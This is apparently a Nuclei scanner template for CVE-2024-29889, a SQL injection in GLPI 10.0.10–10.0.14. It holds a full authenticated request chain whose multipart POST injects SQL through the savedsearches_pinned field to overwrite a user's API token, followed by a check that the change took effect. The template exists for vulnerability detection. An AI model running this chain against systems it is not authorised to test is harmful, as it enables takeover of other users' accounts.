id: CVE-2024-29889 info: name: GLPI 10.0.10-10.0.14 - SQL Injection author: iamnoooob,rootxharsh,pdresearch severity: high description: | GLPI is a Free Asset and IT Management Software package. Prior to 10.0.15, an authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data take control of it. impact: | SQL Injection vulnerability in GLPI versions 10.0.10-10.0.14 allows an attacker to alter another user account data and take control of it. remediation: | This vulnerability is fixed in 10.0.15. reference: - https://sensepost.com/blog/2024/from-a-glpi-patch-bypass-to-rce/ - https://nvd.nist.gov/vuln/detail/CVE-2024-29889 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N cvss-score: 7.1 cve-id: CVE-2024-29889 cwe-id: CWE-89 epss-score: 0.68891 epss-percentile: 0.98646 cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:* metadata: verified: true max-request: 8 vendor: glpi-project product: glpi shodan-query: http.title:"glpi" tags: cve,cve2024,glpi,sqli,authenticated,vuln flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) http: - raw: - | GET /index.php?noAUTO=1 HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: fieldlogin part: body group: 1 regex: - id="login_name" name="([a-z0-9]+) internal: true - type: regex name: csrf part: body group: 1 regex: - name="_glpi_csrf_token" value="([0-9a-z]+) internal: true - type: regex name: fieldpassword part: body group: 1 regex: - id="login_password" name="([0-9a-z]+) internal: true - raw: - | POST /front/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded noAUTO=1&redirect=&_glpi_csrf_token={{csrf}}&{{fieldlogin}}={{username}}&{{fieldpassword}}={{password}}&auth=local&submit= matchers: - type: dsl dsl: - status_code == 302 - contains(location,'front/central.php') condition: and internal: true - raw: - | GET /ajax/common.tabs.php?_glpi_tab=User%241&main_class=tab_cadre_fixe&_target=%2Fglpi%2Ffront%2Fpreference.php&_itemtype=Preference&id=0 HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: id part: body group: 1 regex: - type='hidden' name='id' value='([0-9]+)' internal: true - raw: - | GET /front/preference.php HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: csrf2 part: body group: 1 regex: - type="hidden" name="_glpi_csrf_token" value="(.*?)" internal: true - raw: - | POST /front/preference.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRNyVHuSeiTMi2G7K ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="savedsearches_pinned" {"exploit":"',api_token='{{randstr}}' where id={{id}};-- -"} ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="_glpi_csrf_token" {{csrf2}} ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="name" glpi ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="id" {{id}} ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="realname" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="_uploader_picture[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="_blank_picture" 0 ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="firstname" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="language" en_US ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="password" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="password2" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="phone" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="_useremails[-1]" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="mobile" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="phone2" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="registration_number" ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="locations_id" 0 ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="use_mode" 0 ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="_reset_api_token" 0 ------WebKitFormBoundaryRNyVHuSeiTMi2G7K Content-Disposition: form-data; name="update" Save ------WebKitFormBoundaryRNyVHuSeiTMi2G7K-- matchers: - type: dsl dsl: - status_code == 302 condition: and internal: true - raw: - | GET /front/preference.php HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: csrf3 part: body group: 1 regex: - type="hidden" name="_glpi_csrf_token" value="(.*?)" internal: true - raw: - | POST /ajax/pin_savedsearches.php HTTP/1.1 Host: {{Hostname}} X-Glpi-Csrf-Token: {{csrf3}} X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 itemtype=Monitor matchers: - type: dsl dsl: - status_code == 200 - contains(body,"\"success\":true") condition: and internal: true - raw: - | GET /ajax/common.tabs.php?_glpi_tab=User%241&main_class=tab_cadre_fixe&_target=%2Fglpi%2Ffront%2Fpreference.php&_itemtype=Preference&id=0 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code == 200 - contains(body,"name=\"_api_token\" value=\"{{randstr}}") condition: and # digest: 4b0a00483046022100c928fcbfb0cbc9bf321ff09ec4252e2fde2a90de4bc70d9e3910a4a50aebd4cb02210090e191d6d1726b5eb9c1644f4ab69a97e78569ca427f4aa71f00c3521aa3988d:922c64590222798bb761d5b6d8e72950